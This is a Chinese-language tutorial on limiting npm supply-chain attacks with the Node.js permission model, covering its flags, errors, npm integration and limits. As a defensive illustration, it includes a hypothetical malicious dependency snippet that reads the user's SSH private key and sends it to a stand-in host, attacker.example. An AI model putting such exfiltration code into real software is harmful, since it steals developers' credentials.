首页 / 文章 / 使用 Node.js 权限模型标志对 node_modules 进行沙箱隔离

使用 Node.js 权限模型标志对 node_modules 进行沙箱隔离

了解 Node.js 的 --permission 标志为何默认会拒绝对文件系统、网络和进程的访问,如何精确地授予相应权限,以及其限制所在。

2794 词

每次执行 npm install 都是一种信任行为。一个拥有十个直接依赖项的项目,其 node_modules 目录中通常会包含500到1,500个包,而团队中的几乎没人真正使用过这些包。Node.js权限模型允许你以默认拒绝的模式启动程序,这样被篡改的包就只能访问你明确允许的文件、套接字和进程。本指南将详细介绍这些检查机制的工作原理、如何在不影响应用程序的情况下启用它们,以及即便所有配置都正确时仍存在的漏洞。

为何“默认信任”才是真正的问题

默认情况下,Node.js不会区分你的团队编写的代码与陌生人发布到注册表的代码。任何被加载到进程中的内容都会继承运行该进程的操作系统用户的全部权限。实际上,这意味着任何依赖项都可以:

  • 读取该用户能够访问的任何内容,包括.env文件、SSH私钥以及诸如~/.aws/credentials之类的云服务凭证;
  • 建立出站连接并将数据发送到其他地方;
  • 启动子进程并执行shell命令;
  • 加载原生.node插件,这些是经过编译的机器码,JavaScript层面的规则无法对其加以限制。

真实的攻击事件正是利用了这一点。被劫持的 event-stream 包携带了针对比特币钱包库的恶意代码,ua-parser-js 也被控制并重新发布为含有恶意程序的版本,还有多款窃取代币的蠕虫在 npm 中传播。这些攻击都不需要复杂的利用技巧,只需在完全信任它们的进程内运行即可。只要树结构中低三层有一个被攻破的维护者账户就足够了。如果您想更深入地了解这些攻击的运作方式以及注册表层面的防御措施,请参阅npm 供应链攻击的运作机制。

权限模型解决了问题中的运行时层面。它是一种可选的、进程级的沙箱机制,颠覆了默认设置:在您明确授权之前,任何操作都是被禁止的。

权限模型是什么以及其现状

该功能可在程序运行时限制对特定资源的访问。一旦设置了相关标志,进程将失去对文件系统、网络、子进程、工作线程、原生插件、WASI及FFI的访问权限,只有通过明确的允许标志才能重新获得这些功能。关于您所使用版本的具体行为,可参考官方的Node.js权限文档。

该功能发展迅速:

  • 它最初作为实验性功能于2023年4月的Node.js v20.0.0版本中推出。
  • 从v23.5.0和v22.13.0版本起,它被标记为稳定性等级2(稳定版),因此不再是需要通过功能开关来隐藏的实验性功能。
  • 后续版本不断对其加以完善。根据2026年更新的变更总结,最新版本要求对与符号链接相关的文件系统API使用显式权限授权,在绑定Unix域套接字时检查权限,并通过--allow-env实现对环境变量的更精细控制。这些功能具有版本依赖性,需参照所使用版本的文档进行确认。
  • 实际意义在于,现在可以将其视为一道真正的防御层,用于防范供应链攻击,而不仅仅是一个有趣的概念。

    思维模型:围绕自身进程的防火墙

    网络防火墙负责决定哪些数据包可以通过。权限模型则用于控制同一进程内的资源访问。没有它的话,fs.readFileSync()会直接读取文件;而有了它之后,该调用首先会经过一个检查点,判断该特定资源是否在允许列表中。如果在列表内,则一切正常;如果不在列表内,调用就会抛出错误,文件也就不会被打开。

    关键在于这个检查点所在的位置——它在运行时环境中的C++绑定层中执行,而非JavaScript层面。恶意程序无法通过覆盖fs.readFileSync或封装模块来绕过这一机制,因为决策是在普通JavaScript无法触及的层级上做出的。

    追踪被拒绝调用在运行时的处理过程

    为让内容更具体些,我们来追踪进程中的某些代码试图读取/etc/passwd时会发生什么:

    1. 您的代码或加载到同一进程中的任何模块调用了 fs.readFileSync('/etc/passwd')。
    2. 该调用会传递到 Node 的内部 fs 绑定层,这一层负责与操作系统进行交互。
    3. 在任何 I/O 操作发生之前,该绑定层会先询问权限模型:当前进程是否拥有针对该路径的 fs.read 权限。您也可以通过 process.permission.has('fs.read', path) 来自行查询这一点。
    4. 如果路径被允许,读取操作将像往常一样继续执行;行为良好的代码不会察觉到任何差异。
    5. 如果权限不被允许,Node 会抛出一个结构统一且易于查看的错误。

    该错误会包含一个 code 值、缺失的权限名称以及被请求的资源信息:

    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/etc/passwd'
    }
    

    由于 ERR_ACCESS_DENIED 是一种固定的错误代码,你可以捕获它并作出相应处理;而具备权限检测功能的库也能做到这一点,从而避免整个应用程序崩溃。

    首次启用沙箱模式

    要开启该功能,只需在入口文件前添加一个标志即可:

    node --permission index.js
    

    即便脚本为空,也会立即出现失败情况。

    $ node --permission index.js
    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/index.js'
    }
    

    这会让很多人措手不及,但实际上这是符合逻辑的:加载 index.js 本身也是一种文件系统读取操作,而所有读取请求都会像其他操作一样被拒绝。对于用户自己的源代码,并没有专门的异常处理机制,这正是了解该模型严格程度的一个有用示例。

    解决办法是允许从项目目录进行读取操作:

    node --permission --allow-fs-read=. index.js
    

    现在入口文件可以加载了,但包中的第一个require()调用会失败,因为模块的解析与加载也需要从磁盘读取。通常的解决办法是明确允许访问node_modules:

    node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
    

    严格来说,./node_modules本身就位于.之下,因此在简单的目录结构中第二个标志是多余的。只有当您将第一个标志限制为类似./src的路径,或者在单仓库项目中将依赖项放在其他目录时,单独列出它才有意义。

    在您还在了解应用程序会访问哪些路径时,可以先允许所有读取操作,同时锁定其他所有功能:

    node --permission --allow-fs-read=* index.js
    

    可以把 * 通配符视为辅助轮。在开发阶段或那些读取文件并非关键环节的服务中,使用它是可以接受的,但它会允许任何依赖项读取你的机密信息,因此在发布任何处理凭证的功能之前务必严格限制其使用。

    每个受控功能及其对应的开关

    文件系统读取只是众多控制机制之一。每种资源类型都有对应的开关:

    • 文件系统读取:--allow-fs-read=<路径>。
    • 文件系统写入:--allow-fs-write=<路径>。
    • 网络访问:--allow-net。
    • 子进程:--allow-child-process。
    • 工作线程:--allow-worker。
    • 原生插件:--allow-addons。
    • WebAssembly 系统接口:--allow-wasi。
  • 外部函数接口:--allow-ffi。
  • 在使用这些选项之前,有几点行为需要了解:

    • 两个文件系统相关标志接受路径参数且可重复使用,例如 --allow-fs-read=./data --allow-fs-read=./config。
    • --allow-net 不接受任何参数。它是一个单一开关,可控制所有入站和出站网络操作,包括原始套接字、http、https、fetch以及Unix域套接字。
    • --allow-child-process也会影响权限限制如何传递给子进程。通过child_process.fork()创建的进程会自动获得您的权限标志,而child_process.spawn()则通过NODE_OPTIONS环境变量将这些标志传递给子进程。在这两种情况下,子进程都仍留在沙箱内,而不会逃出。
    • --allow-addons需要格外谨慎对待。原生插件是通过dlopen加载的C或C++编译库,一旦加载就会在JavaScript引擎之外运行,且不会再进行任何权限检查。如果您将此标志授予不完全信任的代码,那么该代码几乎会拥有与没有沙箱环境时相同的权限。

    实际示例:CSV上传工具与恶意依赖

    考虑一个规模虽小但贴近实际的脚本。它从磁盘读取CSV文件,使用第三方包csv-parse解析该文件,再通过另一个第三方包axios将处理后的记录发送到API:

    // process-csv.js
    const fs = require('fs');
    const { parse } = require('csv-parse/sync'); // third-party dependency
    const axios = require('axios');              // third-party dependency
    
    const raw = fs.readFileSync('./data/input.csv', 'utf-8');
    const records = parse(raw, { columns: true });
    
    axios
      .post('https://api.example.com/ingest', records)
      .then(() => console.log('Uploaded', records.length, 'records'));
    

    直接运行node process-csv.js即可实现功能。同样,将恶意载荷偷偷植入csv-parse或其依赖项的次要版本中也可行。下面的代码片段展示了此类载荷的可能形式:它读取用户的SSH私钥并将其发送到攻击者控制的主机。

    // hypothetical malicious code inside a compromised transitive dependency
    const fs = require('fs');
    const os = require('os');
    const https = require('https');
    
    const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
    https.request('https://attacker.example/collect', { method: 'POST' })
         .end(secret);
    

    在没有沙箱保护的情况下,该脚本会悄无声息地运行,等大家察觉时私钥早已丢失。现在让同一个脚本仅使用其真正需要的权限运行,即读取项目及其依赖项的内容以及网络访问权限:

    node --permission \
         --allow-fs-read=. \
         --allow-fs-read=./node_modules \
         --allow-net \
         process-csv.js
    

    实际操作仍然能够成功:脚本会读取./data/input.csv,加载其中的模块并访问API。然而,一旦处理数据中的密钥,操作就会失败:

    Error: Access to this API has been restricted
        at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/.ssh/id_rsa'
    }
    

    os.homedir()返回的路径既不在.目录内,也不在./node_modules目录内,因此该路径不在允许列表中,数据窃取操作根本无法进行到建立连接这一步。

    注意这里什么没有起到作用。由于合法脚本需要 --allow-net,攻击载荷仍然可以发起网络请求。真正起到保护作用的是受限的读取范围。同样的逻辑也能提醒你一个常见错误:如果将 .env 文件放在项目根目录并允许从 . 进行读取,那么所有依赖项都能访问该文件。应将敏感信息放在不可读取的路径之外,或者通过无需进程访问文件系统的机制来注入它们。

    禁止创建新进程

    许多实际的攻击载荷完全跳过文件读取步骤,直接启动 shell 来下载并运行第二阶段程序。在启用了 --permission 且未设置 --allow-child-process 的情况下,任何进程启动之前攻击就会失败:

    node:internal/child_process:388
        const err = this._handle.spawn(options);
        ^
    Error: Access to this API has been restricted
        at ChildProcess.spawn (node:internal/child_process:388:28)
        at node:internal/main/run_main_module:17:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'ChildProcess'
    }
    

    大多数应用程序代码,比如数据转换、对内部服务的调用或模板渲染,都没有创建进程的必要。如果你的依赖关系中没有任何部分真正需要使用 child_process,那么不启用该功能无需任何代价就能避免一类攻击。

    在代码内部请求权限

    当模块处于活跃状态时,Node 会暴露 process.permission,这使得代码可以在尝试使用某项功能之前先检查是否具备相应权限,而无需依赖异常处理。你可以全局检查权限,也可以将检查范围限定在特定路径上:

    if (process.permission) {
      console.log(process.permission.has('fs.write'));                        // true / false
      console.log(process.permission.has('fs.write', '/app/uploads'));        // scoped check
      console.log(process.permission.has('fs.read'));                        // true / false
      console.log(process.permission.has('net'));                             // true / false
    }
    

    if (process.permission) 这一判断非常重要,因为只有当进程以 --permission 参数启动时该对象才会存在。对于库的开发者而言,此 API 具有特殊价值:带有可选遥测功能的包可以检查 process.permission.has('net'),并在沙箱进程中静默禁用该功能,而无需导致主机应用程序崩溃。

    将沙箱机制整合到项目运行流程中

    手动输入一长串标志容易出错,而且如果有人忘记启用沙箱,则根本起不到保护作用。最简单的解决办法是将这些标志放入 package.json 中的 start 脚本中:

    {
      "scripts": {
        "start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
      }
    }
    

    若要将对所有 npm 脚本应用相同的策略,包括通过 npx 启动的工具,可通过 NODE_OPTIONS 一次性设置相关标志。需记住 npm 本身也是 Node.js 程序,因此同样受这些限制;这也是该示例使用宽泛的 --allow-fs-read=* 的原因之一。

    export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
    npm start
    

    对于单次 npx 调用,可直接传递选项:

    # enabling it for a one-off npx execution
    npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
    

    这最后的示例再次表明不能默认信任任何事物。为了定位并执行该工具,Node 需要拥有对该软件包实际所在位置的读取权限,无论它是通过 npm prefix -g 显示的全局 node_modules 目录,还是 npx 缓存中的文件。即便是你特意要求运行的命令,也必须授予相应的访问权限。

    在使用前需了解的局限性

    权限模型虽功能强大,但将其视为完整解决方案存在风险。

    权限适用于整个进程,而非单个包

    对于那些希望严格控制特定依赖项的人来说,这是最重要的注意事项。沙箱在Node.js进程与操作系统之间划定了界限,无法实现诸如“left-pad不能访问网络,而axios可以”这样的规则。进程中的所有模块共享同一组权限,因此为HTTP客户端授予--allow-net权限也会同时赋予其他所有包该权限。该模型提升的是整个进程的标准,并不能实现各包之间的隔离。如果确实需要按组件进行隔离,就必须将任务拆分到具有不同权限标志的独立进程中。

    原生插件加载后可绕过所有限制

    在授予--allow-addons权限并加载了原生模块后,其编译后的代码将无需任何额外限制即可运行。沙箱无法查看机器码内容。

    强制检查代码本身也可能存在漏洞

    这些检查只是普通的运行时代码,可能会出现错误。2026年报告的一个漏洞,编号为CVE-2026-58043,影响了路径匹配逻辑:文件系统允许列表存储在基数树中,那些仅与已允许的路径共享一个字符前缀的路径可能会被错误地授予访问权限,从而导致在预期范围之外的读写操作。已修复的版本分别为对应发布线的26.5.1、24.18.1和22.23.2版本;具体列表可查阅Node.js的安全更新公告。关键点在于不要回避该功能,而要确保运行时环境保持最新补丁,因为即使在有漏洞的版本上设置了正确的标志,依然存在安全缺口。

    它只能限制损害,无法阻止安装

    沙箱可以限制恶意代码运行时的影响范围,但无法阻止该代码被安装。请继续使用 npm audit,通过 npm ci 根据已提交的锁文件进行安装而非使用模糊的版本范围,在升级前审查新的间接依赖项,并结合运行时控制措施考虑使用 Socket 或 Snyk 等依赖扫描服务。

    部署检查清单

    • 在开发阶段使用 --permission --allow-fs-read=*,这样就能查看应用需要哪些其他权限,而无需为具体路径争执。
    • 在发布之前,将 --allow-fs-read 和 --allow-fs-write 的范围缩小到应用实际使用的目录,如数据文件夹、配置文件以及 node_modules。绝不要允许访问用户主目录或 / 目录。
  • 只有在确实有需求时,才授予网络访问、子进程、工作线程、插件、WASI或FFI等权限标志。每省略一个标志就能关闭一条攻击路径。
  • 将需要使用--allow-addons视为警告信号,并对依赖该选项的组件进行审计。
  • 切勿将敏感信息存放在进程可读取的任何目录中。
  • 在启动脚本或NODE_OPTIONS中编码存储这些权限标志,以免被人遗忘。
  • 始终使用已打补丁的最新版本Node.js,因为安全管控层会像运行时的其他部分一样接收安全修复补丁。
  • 核心要点

    供应链攻击之所以能够得逞,是因为Node.js对依赖树中的每个包都如同对待自身代码一样信任。权限模型并不会消除这种信任,因为代码仍然在用户的进程中运行,但它将原本无限制的攻击范围限制在你所选择的标志所定义的范围内。其效果取决于这些标志的严格程度:严格的文件系统权限范围以及缺失的能力标志能够阻止大多数攻击载荷,而宽泛的通配符和--allow-addons选项则会悄悄削弱这种防护作用。结合已修复的运行时环境以及良好的依赖管理措施,这是Node.js服务能够采用的成本最低的安全控制手段之一。